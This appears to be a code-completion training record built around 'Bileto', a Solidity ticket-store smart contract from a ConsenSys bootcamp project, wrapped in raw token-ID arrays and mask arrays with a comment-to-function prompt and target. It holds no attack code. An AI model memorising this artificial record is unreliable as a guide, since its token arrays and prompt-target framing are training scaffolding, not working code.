203,
203,
3639,
15976,
5157,
63,
3576,
18,
15330,
65,
1011,
6707,
345,
429,
31,
203,
3639,
2583,
12,
83,
2895,
1345,
18,
13866,
12,
3576,
18,
15330,
16,
6707,
345,
429,
3631,
315,
17631,
1060,
320,
330,
414,
7412,
2535,
8863,
203,
203,
3639,
3626,
17578,
5157,
26363,
12,
3576,
18,
15330,
16,
6707,
345,
429,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.3;
import "./Ownable.sol";
import "./Counter.sol";
import "./SafeMath.sol";
import "./Address.sol";
import "./ReentrancyGuard.sol";
/// @author Fábio Corrêa <[email protected]>
/// @title Bileto: a simple decentralized ticket store on Ethereum
/// @notice Final project for ConsenSys Academy's Developer Bootcamp 2019.
contract Bileto is Ownable, ReentrancyGuard {
using SafeMath for uint;
using Counter_ for Counter_.Counter;
using Address for address;
using Address for address payable;
enum StoreStatus {
Created, // 0
Open, // 1
Suspended, // 2
Closed // 3
}
enum EventStatus {
Created, // 0
SalesStarted, // 1
SalesSuspended, // 2
SalesFinished, // 3
Completed, // 4
Settled, // 5
Cancelled // 6
}
enum PurchaseStatus {
Completed, // 0
Cancelled, // 1
Refunded, // 2
CheckedIn // 3
}
struct Store {
StoreStatus status;
string name;
uint settledBalance;
uint excessBalance;
uint refundableBalance;
Counter_.Counter counterEvents;
Counter_.Counter counterPurchases;
}
struct Event {
EventStatus status;
bytes32 externalId;
address payable organizer;
string name;
uint storeIncentive;
uint ticketPrice;
uint ticketsOnSale;
uint ticketsSold;
uint ticketsLeft;
uint ticketsCancelled;
uint ticketsRefunded;
uint ticketsCheckedIn;
uint eventBalance;
uint refundableBalance;
}
struct Purchase {
PurchaseStatus status;
bytes32 externalId;
uint timestamp;
address payable customer;
bytes32 customerId;
uint quantity;
uint total;
uint eventId;
}
Store private store;
address[] private organizers;
mapping(uint => Event) private events;
mapping(address => uint[]) private organizerEvents;
address[] private customers;
mapping(uint => Purchase) private purchases;
mapping(address => uint[]) private customerPurchases;
/// @notice Ticket store was opened.
/// @param _by store owner address (indexed)
/// @dev corresponds to `StoreStatus.Open`
event StoreOpen(address indexed _by);
/// @notice Ticket store was suspended.
/// @param _by store owner address (indexed)
/// @dev corresponds to `StoreStatus.Suspended`
event StoreSuspended(address indexed _by);
/// @notice Ticket store was closed.
/// @param _by store owner address (indexed)
/// @param _settlement amount settled (transferred) to store owner
/// @param _excess amount transferred to store owner due to excess funds (fallback)
/// @dev corresponds to `StoreStatus.Closed`
event StoreClosed(address indexed _by, uint _settlement, uint _excess);
/// @notice Ticket event was created.
/// @param _id event new internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by store owner address (indexed)
/// @dev corresponds to `EventStatus.Created`
event EventCreated(uint indexed _id, bytes32 indexed _extId, address indexed _by);
/// @notice Event ticket sales was started.
/// @param _id event internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by events organizer address (indexed)
/// @dev corresponds to `EventStatus.SalesStarted`
event EventSalesStarted(uint indexed _id, bytes32 indexed _extId, address indexed _by);
/// @notice Event ticket sales was suspended.
/// @param _id event internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by events organizer address (indexed)
/// @dev corresponds to `EventStatus.SalesSuspended`
event EventSalesSuspended(uint indexed _id, bytes32 indexed _extId, address indexed _by);
/// @notice Event ticket sales was finished.
/// @param _id event internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by events organizer address (indexed)
/// @dev corresponds to `EventStatus.SalesFinished`
event EventSalesFinished(uint indexed _id, bytes32 indexed _extId, address indexed _by);
/// @notice Ticket event was completed.
/// @param _id event new internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by events organizer address (indexed)
/// @dev corresponds to `EventStatus.Completed`
event EventCompleted(uint indexed _id, bytes32 indexed _extId, address indexed _by);
/// @notice Ticket event was settled.
/// @param _id event internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by store owner address (indexed)
/// @param _settlement amount settled (transferred) to event organizer
/// @dev corresponds to `EventStatus.Settled`
event EventSettled(uint indexed _id, bytes32 indexed _extId, address indexed _by, uint _settlement);
/// @notice Ticket event was cancelled.
/// @param _id event internal ID (indexed)
/// @param _extId hash of the event external ID (indexed)
/// @param _by event organizer address (indexed)
/// @dev corresponds to `EventStatus.Cancelled`
event EventCancelled(uint indexed _id, bytes32 indexed _extId, address indexed _by);
/// @notice Ticket purchase was completed.
/// @param _id purchase new internal ID (indexed)
/// @param _extId hash of the purchase external ID (indexed)
/// @param _by customer address (indexed)
/// @param _id event internal ID
/// @dev corresponds to `PurchaseStatus.Completed`
event PurchaseCompleted(uint indexed _id, bytes32 indexed _extId, address indexed _by, uint _eventId);
/// @notice Ticket purchase was cancelled.
/// @param _id purchase internal ID (indexed)
/// @param _extId hash of the purchase external ID (indexed)
/// @param _by customer address (indexed)
/// @param _id event internal ID
/// @dev corresponds to `PurchaseStatus.Cancelled`
event PurchaseCancelled(uint indexed _id, bytes32 indexed _extId, address indexed _by, uint _eventId);
/// @notice Ticket purchase was refunded.
/// @param _id purchase internal ID (indexed)
/// @param _extId hash of the purchase external ID (indexed)
/// @param _by customer address (indexed)
/// @param _id event internal ID
/// @dev corresponds to `PurchaseStatus.Refunded`
event PurchaseRefunded(uint indexed _id, bytes32 indexed _extId, address indexed _by, uint _eventId);
/// @notice Customer checked in the event.
/// @param _eventId event internal ID (indexed)
/// @param _purchaseId purchase internal ID (indexed)
/// @param _by customer address (indexed)
/// @dev corresponds to `PurchaseStatus.CheckedIn`
event CustomerCheckedIn(uint indexed _eventId, uint indexed _purchaseId, address indexed _by);
/// @dev Verify that ticket store is open, otherwise revert.
modifier storeOpen() {
require(store.status == StoreStatus.Open,
"ERROR-001: ticket store must be open in order to proceed");
_;
}
/// @dev Verify that event ID is within current range.
modifier validEventId(uint _eventId) {
require(_eventId <= store.counterEvents.current,
"ERROR-002: invalid event ID");
_;
}
/// @dev Verify that purchase ID is within current range.
modifier validPurchaseId(uint _purchaseId) {
require(_purchaseId <= store.counterPurchases.current,
"ERROR-003: invalid purchase ID");
_;
}
/// @dev Verify that transaction on an event was triggered by its organizer, otherwise revert.
modifier onlyOrganizer(uint _eventId) {
require(msg.sender == events[_eventId].organizer,
"ERROR-004: must be triggered by event organizer in order to proceed");
_;
}
/// @dev Verify that transaction on an event was triggered by its organizer or store owner.
modifier onlyOwnerOrOrganizer(uint _eventId) {
require(isOwner() || msg.sender == events[_eventId].organizer,
"ERROR-005: must be triggered by event organizer or store owner in order to proceed");
_;
}
/// @dev Verify that a purchase was completed, otherwise revert.
modifier purchaseCompleted(uint _purchaseId) {
require(purchases[_purchaseId].status == PurchaseStatus.Completed,
"ERROR-006: ticket purchase have to be completed in order to proceed");
_;
}
/// @notice Initialize the ticket store and its respective owner.
/// @dev store owner is set by the account who created the store
constructor(string memory _name) public {
require(bytes(_name).length != 0,
"ERROR-007: store name must not be empty in order to proceed");
store.name = _name;
store.status = StoreStatus.Created;
}
/// @notice Fallback function.
/// @notice Funds will be locked until store is closed, when owner will be able to withdraw them.
function()
external
payable
{
require(msg.data.length == 0,
"ERROR-008: only funds transfer (i.e. no data) accepted on fallback");
store.excessBalance = store.excessBalance.add(msg.value);
}
/// @notice Open ticket store.
/// @dev emit `StoreOpen` event
function openStore()
external
nonReentrant
onlyOwner
{
require(store.status == StoreStatus.Created
|| store.status == StoreStatus.Suspended,
"ERROR-009: ticket store must be created or suspended in order to proceed");
store.status = StoreStatus.Open;
emit StoreOpen(msg.sender);
}
/// @notice Suspend ticket store.
/// @notice Should be used with extreme caution and on exceptional cases only.
/// @dev emit `StoreSuspended` event
function suspendStore()
external
nonReentrant
onlyOwner
storeOpen
{
store.status = StoreStatus.Suspended;
emit StoreSuspended(msg.sender);
}
/// @notice Close ticket store.
/// @notice This is ticket store final state and become inoperable after.
/// @notice Ticket store won't close while there are refundable balance left.
/// @notice Only settled and excess balance will be transferred to store owner.
/// @dev emit `StoreClosed` event
function closeStore()
external
nonReentrant
onlyOwner
{
require(store.status != StoreStatus.Closed,
"ERROR-010: ticket store cannot be closed in order to proceed");
// require(store.refundableBalance == 0,
// "ERROR-011: ticket store refundable balance must be zero in order to proceed");
store.status = StoreStatus.Closed;
uint _total = store.settledBalance.add(store.excessBalance);
if (_total > 0) {
owner().transfer(_total);
}
emit StoreClosed(msg.sender, store.settledBalance, store.excessBalance);
}
/// @notice Create a ticket event.
/// @param _externalId event external ID provided by organizer. Will be stored hashed
/// @param _organizer event organizer address. Will be able to manage the event thereafter
/// @param _name event name
/// @param _storeIncentive commission granted to store upon sale of tickets. From 0.00% (000) to 100.00% (10000)
/// @param _ticketPrice ticket price (in wei)
/// @param _ticketsOnSale number of tickets available for sale
/// @return Event internal ID.
/// @dev emit `EventCreated` event
function createEvent(
string calldata _externalId,
address payable _organizer,
string calldata _name,
uint _storeIncentive,
uint _ticketPrice,
uint _ticketsOnSale
)
external
nonReentrant
onlyOwner
storeOpen
returns (uint eventId)
{
require(!_organizer.isContract(),
"ERROR-012: organizer address must refer to an account (i.e. not a contract) in order to proceed");
require(bytes(_externalId).length != 0,
"ERROR-013: ticket event external ID must not be empty in order to proceed");
require(bytes(_name).length != 0,
"ERROR-014: ticket event name must not be empty in order to proceed");
require(_storeIncentive >= 0
&& _storeIncentive <= 10000,
"ERROR-015: store incentive must be between 0.00% (000) to 100.00% (10000) in order to proceed");
require(_ticketsOnSale > 0,
"ERROR-016: number of tickets available for sale cannot be zero in order to proceed");
eventId = store.counterEvents.next();
events[eventId].status = EventStatus.Created;
events[eventId].externalId = keccak256(bytes(_externalId));
events[eventId].organizer = _organizer;
events[eventId].name = _name;
events[eventId].storeIncentive = _storeIncentive;
events[eventId].ticketPrice = _ticketPrice;
events[eventId].ticketsOnSale = _ticketsOnSale;
events[eventId].ticketsLeft = _ticketsOnSale;
organizerEvents[_organizer].push(eventId);
if (organizerEvents[_organizer].length == 1) {
organizers.push(_organizer);
}
emit EventCreated(eventId, events[eventId].externalId, msg.sender);
return (eventId);
}
/// @notice Start sale of tickets for an event.
/// @param _eventId event internal ID
/// @dev emit `EventSalesStarted` event
function startTicketSales(uint _eventId)
external
nonReentrant
storeOpen
validEventId(_eventId)
onlyOrganizer(_eventId)
{
require(events[_eventId].status == EventStatus.Created
|| events[_eventId].status == EventStatus.SalesSuspended,
"ERROR-017: ticket event must be created or with sales suspended in order to proceed");
events[_eventId].status = EventStatus.SalesStarted;
emit EventSalesStarted(_eventId, events[_eventId].externalId, msg.sender);
}
/// @notice Suspend sale of tickets for an event.
/// @param _eventId event internal ID
/// @dev emit `EventSalesSuspended` event
function suspendTicketSales(uint _eventId)
external
nonReentrant
storeOpen
validEventId(_eventId)
onlyOrganizer(_eventId)
{
require(events[_eventId].status == EventStatus.SalesStarted,
"ERROR-018: event ticket sales must have started in order to proceed");
events[_eventId].status = EventStatus.SalesSuspended;
emit EventSalesSuspended(_eventId, events[_eventId].externalId, msg.sender);
}
/// @notice End sale of tickets for an event.
/// @notice It means that no tickets for the event can be sold thereafter.
/// @param _eventId event internal ID
/// @dev emit `EventSalesFinished` event
function endTicketSales(uint _eventId)
external
nonReentrant
storeOpen
validEventId(_eventId)
onlyOrganizer(_eventId)
{
require(events[_eventId].status == EventStatus.SalesStarted
|| events[_eventId].status == EventStatus.SalesSuspended,
"ERROR-019: event ticket sales must have started or be suspended in order to proceed");
events[_eventId].status = EventStatus.SalesFinished;
emit EventSalesFinished(_eventId, events[_eventId].externalId, msg.sender);
}
/// @notice Complete an event.
/// @notice It means that the event is past and can be settled (paid out to organizer).
/// @param _eventId event internal ID
/// @dev emit `EventCompleted` event
function completeEvent(uint _eventId)
external
nonReentrant
storeOpen
validEventId(_eventId)
onlyOrganizer(_eventId)
{
require(events[_eventId].status == EventStatus.SalesFinished,
"ERROR-020: event ticket sales must have finished in order to proceed");
events[_eventId].status = EventStatus.Completed;
emit EventCompleted(_eventId, events[_eventId].externalId, msg.sender);
}
/// @notice Settle an event.
/// @notice It means that (non-refundable) funds will be transferred to organizer.
/// @notice No transfer will be performed if settlement balance is zero,
/// @notice even though event will be considered settled.
/// @param _eventId event internal ID
/// @dev emit `EventSettled` event
function settleEvent(uint _eventId)
external
nonReentrant
storeOpen
onlyOwner
{
require(events[_eventId].status == EventStatus.Completed,
"ERROR-021: ticket event must have been completed in order to proceed");
events[_eventId].status = EventStatus.Settled;
uint _eventBalance = events[_eventId].eventBalance;
uint _storeIncentive = events[_eventId].storeIncentive;
uint _storeIncentiveBalance = _eventBalance.mul(_storeIncentive).div(10000);
uint _settlement = _eventBalance.sub(_storeIncentiveBalance);
store.settledBalance = store.settledBalance.add(_storeIncentiveBalance);
if (_settlement > 0) {
events[_eventId].organizer.transfer(_settlement);
}
emit EventSettled(_eventId, events[_eventId].externalId, msg.sender, _settlement);
}
/// @notice Cancel an event.
/// @notice It means that ticket sales will stop and sold tickets (purchases) are refundable.
/// @param _eventId event internal ID
/// @dev emit `EventCancelled` event
function cancelEvent(uint _eventId)
external
nonReentrant
storeOpen
validEventId(_eventId)
onlyOrganizer(_eventId)
{
require(events[_eventId].status == EventStatus.Created
|| events[_eventId].status == EventStatus.SalesStarted
|| events[_eventId].status == EventStatus.SalesSuspended
|| events[_eventId].status == EventStatus.SalesFinished,
"ERROR-022: event must be created or have its ticket sales not completed in order to proceed");
events[_eventId].status = EventStatus.Cancelled;
emit EventCancelled(_eventId, events[_eventId].externalId, msg.sender);
}
/// @notice Purchase one or more tickets.
/// @param _eventId event internal ID
/// @param _quantity number of tickets being purchase at once. It has to be greater than zero and available
/// @param _externalId purchase external ID (usually for correlation). Cannot be empty. Will be stored hashed
/// @param _timestamp purchase date provided by organizer (UNIX epoch)
/// @param _customerId ID of the customer provided during purchase. Cannot be empty. Will be store hashed
/// @return Purchase internal ID.
/// @dev emit `PurchaseCompleted` event
function purchaseTickets(
uint _eventId,
uint _quantity,
string calldata _externalId,
uint _timestamp,
string calldata _customerId
)
external
payable
nonReentrant
storeOpen
validEventId(_eventId)
returns (uint purchaseId)
{
require(events[_eventId].status == EventStatus.SalesStarted,
"ERROR-023: event ticket sales have to had started in order to proceed");
require(!msg.sender.isContract(),
"ERROR-024: customer address must refer to an account (i.e. not a contract) in order to proceed");
require(_quantity > 0,
"ERROR-025: quantity of tickets must be greater than zero in order to proceed");
require(_quantity <= events[_eventId].ticketsLeft,
"ERROR-026: not enough tickets left for the quantity requested. please change quantity in order to proceed");
require(bytes(_externalId).length != 0,
"ERROR-027: purchase external ID must not be empty in order to proceed");
require(_timestamp > 0,
"ERROR-028: purchase date must be provided (not zero)");
require(bytes(_customerId).length != 0,
"ERROR-029: customer ID cannot be empty in order to proceed");
require(msg.value == _quantity.mul(events[_eventId].ticketPrice),
"ERROR-030: customer funds sent on transaction must be equal to purchase total in order to proceed");
purchaseId = store.counterPurchases.next();
purchases[purchaseId].status = PurchaseStatus.Completed;
purchases[purchaseId].eventId = _eventId;
purchases[purchaseId].quantity = _quantity;
purchases[purchaseId].externalId = keccak256(bytes(_externalId));
purchases[purchaseId].timestamp = _timestamp;
purchases[purchaseId].customer = msg.sender;
purchases[purchaseId].customerId = keccak256(bytes(_customerId));
purchases[purchaseId].total = _quantity.mul(events[_eventId].ticketPrice);
events[_eventId].ticketsSold = events[_eventId].ticketsSold.add(_quantity);
events[_eventId].ticketsLeft = events[_eventId].ticketsLeft.sub(_quantity);
events[_eventId].eventBalance = events[_eventId].eventBalance.add(purchases[purchaseId].total);
customerPurchases[msg.sender].push(purchaseId);
if (customerPurchases[msg.sender].length == 1) {
customers.push(msg.sender);
}
emit PurchaseCompleted(purchaseId, purchases[purchaseId].externalId, msg.sender, _eventId);
return (purchaseId);
}
/// @notice Cancel a purchase.
/// @notice Other IDs are required in order to avoid fraudulent cancellations.
/// @param _purchaseId purchase internal ID
/// @param _externalId purchase external ID which will be hashed and then compared to store one
/// @param _customerId purchase customer ID which will be hashed and then compared to store one
/// @dev emit `PurchaseCancelled` event
function cancelPurchase(
uint _purchaseId,
string calldata _externalId,
string calldata _customerId
)
external
nonReentrant
validPurchaseId(_purchaseId)
purchaseCompleted(_purchaseId)
{
uint _eventId = purchases[_purchaseId].eventId;
require((store.status == StoreStatus.Open || store.status == StoreStatus.Closed)
&& (events[_eventId].status == EventStatus.SalesStarted
|| events[_eventId].status == EventStatus.SalesSuspended
|| events[_eventId].status == EventStatus.SalesFinished
|| events[_eventId].status == EventStatus.Cancelled),
"ERROR-031: event status must allow cancellation in order to proceed");
require(msg.sender == purchases[_purchaseId].customer,
"ERROR-032: purchase cancellation must be initiated by purchase customer in order to proceed");
require(keccak256(bytes(_customerId)) == purchases[_purchaseId].customerId,
"ERROR-033: hashed customer ID must match with stored one in order to proceed");
require(keccak256(bytes(_externalId)) == purchases[_purchaseId].externalId,
"ERROR-034: hashed purchase external ID must match with stored one in order to proceed");
purchases[_purchaseId].status = PurchaseStatus.Cancelled;
events[_eventId].ticketsCancelled = events[_eventId].ticketsCancelled.add(purchases[_purchaseId].quantity);
events[_eventId].ticketsLeft = events[_eventId].ticketsLeft.add(purchases[_purchaseId].quantity);
events[_eventId].eventBalance = events[_eventId].eventBalance.sub(purchases[_purchaseId].total);
events[_eventId].refundableBalance = events[_eventId].refundableBalance.add(purchases[_purchaseId].total);
store.refundableBalance = store.refundableBalance.add(purchases[_purchaseId].total);
emit PurchaseCancelled(_purchaseId, purchases[_purchaseId].externalId, msg.sender, _eventId);
}
/// @notice Refund a cancelled purchase to customer.
/// @param _eventId internal ID of the event associated to the purchase
/// @param _purchaseId purchase internal ID
/// @dev emit `PurchaseRefunded` event
function refundPurchase(uint _eventId, uint _purchaseId)
external
nonReentrant
validEventId(_eventId)
onlyOrganizer(_eventId)
validPurchaseId(_purchaseId)
{
require((store.status == StoreStatus.Open || store.status == StoreStatus.Closed)
&& purchases[_purchaseId].status == PurchaseStatus.Cancelled,
"ERROR-035: ticket purchase have to be cancelled in order to proceed");
purchases[_purchaseId].status = PurchaseStatus.Refunded;
events[_eventId].ticketsRefunded = events[_eventId].ticketsRefunded.add(purchases[_purchaseId].quantity);
events[_eventId].refundableBalance = events[_eventId].refundableBalance.sub(purchases[_purchaseId].total);
store.refundableBalance = store.refundableBalance.sub(purchases[_purchaseId].total);
purchases[_purchaseId].customer.transfer(purchases[_purchaseId].total);
emit PurchaseRefunded(_purchaseId, purchases[_purchaseId].externalId, msg.sender, _eventId);
}
/// @notice Check into an event.
/// @notice It means that customer and his/her companions (optional) attended to the event.
/// @param _purchaseId purchase internal ID
/// @dev emit `CustomerCheckedIn` event
function checkIn(uint _purchaseId)
external
nonReentrant
storeOpen
validPurchaseId(_purchaseId)
purchaseCompleted(_purchaseId)
{
uint _eventId = purchases[_purchaseId].eventId;
require(events[_eventId].status == EventStatus.SalesStarted
|| events[_eventId].status == EventStatus.SalesSuspended
|| events[_eventId].status == EventStatus.SalesFinished,
"ERROR-036: event ticket sales should have been started/suspended/finished in order to proceed");
require(msg.sender == purchases[_purchaseId].customer,
"ERROR-037: check-in request must be initiated from customer own account in order to proceed");
purchases[_purchaseId].status = PurchaseStatus.CheckedIn;
emit CustomerCheckedIn(_eventId, _purchaseId, msg.sender);
}
/// @notice Fetch store basic information.
/// @notice Basic info are those static attributes set when store is created.
/// @return Store attributes.
function fetchStoreInfo()
external
view
returns (
address storeOwner,
uint storeStatus,
string memory storeName,
uint storeSettledBalance,
uint storeExcessBalance,
uint storeRefundableBalance,
uint storeCounterEvents,
uint storeCounterPurchases
)
{
storeOwner = owner();
storeStatus = uint(store.status);
storeName = store.name;
storeSettledBalance = store.settledBalance;
storeExcessBalance = store.excessBalance;
storeRefundableBalance = store.refundableBalance;
storeCounterEvents = store.counterEvents.current;
storeCounterPurchases = store.counterPurchases.current;
}
/// @notice Fetch event basic information.
/// @notice Basic info are those static attributes set when event is created.
/// @param _eventId event internal ID
/// @return Event status, external ID, organizer address, event name, store incentive, ticket price and quantity of tickets for sale.
function fetchEventInfo(uint _eventId)
external
view
validEventId(_eventId)
returns (
uint eventStatus,
bytes32 eventExternalId,
address eventOrganizer,
string memory eventName,
uint eventStoreIncentive,
uint eventTicketPrice,
uint eventTicketsOnSale
)
{
eventStatus = uint(events[_eventId].status);
eventExternalId = events[_eventId].externalId;
eventOrganizer = events[_eventId].organizer;
eventName = events[_eventId].name;
eventStoreIncentive = events[_eventId].storeIncentive;
eventTicketPrice = events[_eventId].ticketPrice;
eventTicketsOnSale = events[_eventId].ticketsOnSale;
}
/// @notice Fetch event sales information.
/// @notice Sales info are those attributes which change upon each purchase/cancellation transaction.
/// @param _eventId event internal ID
/// @return Event status, tickets sold/left/cancelled/refunded/checked-in, event total/refundable balances.
function fetchEventSalesInfo(uint _eventId)
external
view
validEventId(_eventId)
returns (
uint eventStatus,
uint eventTicketsSold,
uint eventTicketsLeft,
uint eventTicketsCancelled,
uint eventTicketsRefunded,
uint eventTicketsCheckedIn,
uint eventBalance,
uint eventRefundableBalance
)
{
eventStatus = uint(events[_eventId].status);
eventTicketsSold = events[_eventId].ticketsSold;
eventTicketsLeft = events[_eventId].ticketsLeft;
eventTicketsCancelled = events[_eventId].ticketsCancelled;
eventTicketsRefunded = events[_eventId].ticketsRefunded;
eventTicketsCheckedIn = events[_eventId].ticketsCheckedIn;
eventBalance = events[_eventId].eventBalance;
eventRefundableBalance = events[_eventId].refundableBalance;
}
/// @notice Fetch purchase information.
/// @param _purchaseId purchase internal ID
/// @return Purchase status, external ID, timestamp, customer address/ID, quantity of tickets, total and event ID.
function fetchPurchaseInfo(uint _purchaseId)
external
view
validPurchaseId(_purchaseId)
returns (
uint purchaseStatus,
bytes32 purchaseExternalId,
uint purchaseTimestamp,
address purchaseCustomer,
bytes32 purchaseCustomerId,
uint purchaseQuantity,
uint purchaseTotal,
uint purchaseEventId
)
{
require(isOwner()
|| msg.sender == purchases[_purchaseId].customer
|| msg.sender == events[purchases[_purchaseId].eventId].organizer,
"ERROR-038: must be triggered by customer, event organizer or store owner in order to proceed");
purchaseStatus = uint(purchases[_purchaseId].status);
purchaseExternalId = purchases[_purchaseId].externalId;
purchaseTimestamp = purchases[_purchaseId].timestamp;
purchaseCustomer = purchases[_purchaseId].customer;
purchaseCustomerId = purchases[_purchaseId].customerId;
purchaseQuantity = purchases[_purchaseId].quantity;
purchaseTotal = purchases[_purchaseId].total;
purchaseEventId = purchases[_purchaseId].eventId;
}
/// @notice Get number of events created by an organizer.
/// @param _organizer organizer address
/// @return Count of events. Zero in case organizer hasn't yet created any events.
function getCountOrganizerEvents(address _organizer)
external
view
returns (uint countEvents)
{
// require(msg.sender == owner() || msg.sender == _organizer,
// "ERROR-039: not allowed to retrieve such information");
countEvents = organizerEvents[_organizer].length;
return countEvents;
}
/// @notice Get ID of an event, according to its position on list of events created by an organizer.
/// @param _organizer organizer address
/// @param _index position in the list. Starting from zero
/// @return Event ID
function getEventIdByIndex(address _organizer, uint _index)
external
view
returns (uint eventId)
{
require(organizerEvents[_organizer].length != 0,
"ERROR-040: organizer has not created events yet");
require(_index < organizerEvents[_organizer].length,
"ERROR-041: invalid index (organizerEvents)");
eventId = organizerEvents[_organizer][_index];
return eventId;
}
/// @notice Get number of ticket purchases performed by a customer.
/// @param _customer customer address
/// @return Count of purchases. Zero in case customer hasn't yet purchased any tickets.
function getCountCustomerPurchases(address _customer)
external
view
returns (uint countPurchases)
{
// require(msg.sender == owner() || msg.sender == _customer,
// "ERROR-042: not allowed to retrieve such information");
countPurchases = customerPurchases[_customer].length;
return countPurchases;
}
/// @notice Get ID of a purchase, according to its position on list of purchases performed by a customer.
/// @param _customer customer address
/// @param _index position in the list. Starting from zero
/// @return Purchase ID
function getPurchaseIdByIndex(address _customer, uint _index)
external
view
returns (uint purchaseId)
{
require(customerPurchases[_customer].length != 0,
"ERROR-043: customer has not purchased tickets yet");
require(_index < customerPurchases[_customer].length,
"ERROR-044: invalid index (customerPurchases)");
purchaseId = customerPurchases[_customer][_index];
return purchaseId;
}
/// @notice Get number of organizers who dealt with the store.
/// @return Count of organizers. Zero in case of none yet.
function getCountOrganizers()
external
view
returns (uint countOrganizers)
{
countOrganizers = organizers.length;
return countOrganizers;
}
/// @notice Get address of an organizer, according to its position on list of organizers who delt with the store.
/// @param _index position in the list. Starting from zero
/// @return Organizer address
function getOrganizerByIndex(uint _index)
external
view
returns (address organizer)
{
require(_index < organizers.length,
"ERROR-045: invalid index (organizers)");
organizer = organizers[_index];
return organizer;
}
/// @notice Get number of customers who purchased tickets from the store.
/// @return Count of customers. Zero in case of none yet.
function getCountCustomers()
external
view
returns (uint countCustomers)
{
countCustomers = customers.length;
return countCustomers;
}
/// @notice Get address of an customer, according to its position on list of customers who purchased from the store.
/// @param _index position in the list. Starting from zero
/// @return Customer address
function getCustomerByIndex(uint _index)
external
view
returns (address customer)
{
require(_index < customers.length,
"ERROR-046: invalid index (customers)");
customer = customers[_index];
return customer;
}
/// @notice Get role of an account in relation to the store.
/// @param _account address of the account to be checked
/// @return True or False for each of the possible roles
function getAccountRole(address _account)
external
view
returns (bool accountIsOwner, bool accountIsOrganizer, bool accountIsCustomer)
{
accountIsOwner = _account == owner();
accountIsOrganizer = organizerEvents[_account].length > 0;
accountIsCustomer = customerPurchases[_account].length > 0;
}
}
|
@notice Get number of ticket purchases performed by a customer. @param _customer customer address @return Count of purchases. Zero in case customer hasn't yet purchased any tickets. require(msg.sender == owner() || msg.sender == _customer, "ERROR-042: not allowed to retrieve such information");
|
function getCountCustomerPurchases(address _customer)
external
view
returns (uint countPurchases)
{
countPurchases = customerPurchases[_customer].length;
return countPurchases;
}
| 12,836,069 |
[
1,
967,
1300,
434,
9322,
5405,
343,
3304,
9591,
635,
279,
6666,
18,
225,
389,
10061,
6666,
1758,
327,
6974,
434,
5405,
343,
3304,
18,
12744,
316,
648,
6666,
13342,
1404,
4671,
5405,
343,
8905,
1281,
24475,
18,
2583,
12,
3576,
18,
15330,
422,
3410,
1435,
747,
1234,
18,
15330,
422,
389,
10061,
16,
377,
315,
3589,
17,
3028,
22,
30,
486,
2935,
358,
4614,
4123,
1779,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
14155,
8883,
10262,
343,
3304,
12,
2867,
389,
10061,
13,
7010,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
1056,
10262,
343,
3304,
13,
203,
565,
288,
203,
3639,
1056,
10262,
343,
3304,
273,
6666,
10262,
343,
3304,
63,
67,
10061,
8009,
2469,
31,
203,
3639,
327,
1056,
10262,
343,
3304,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
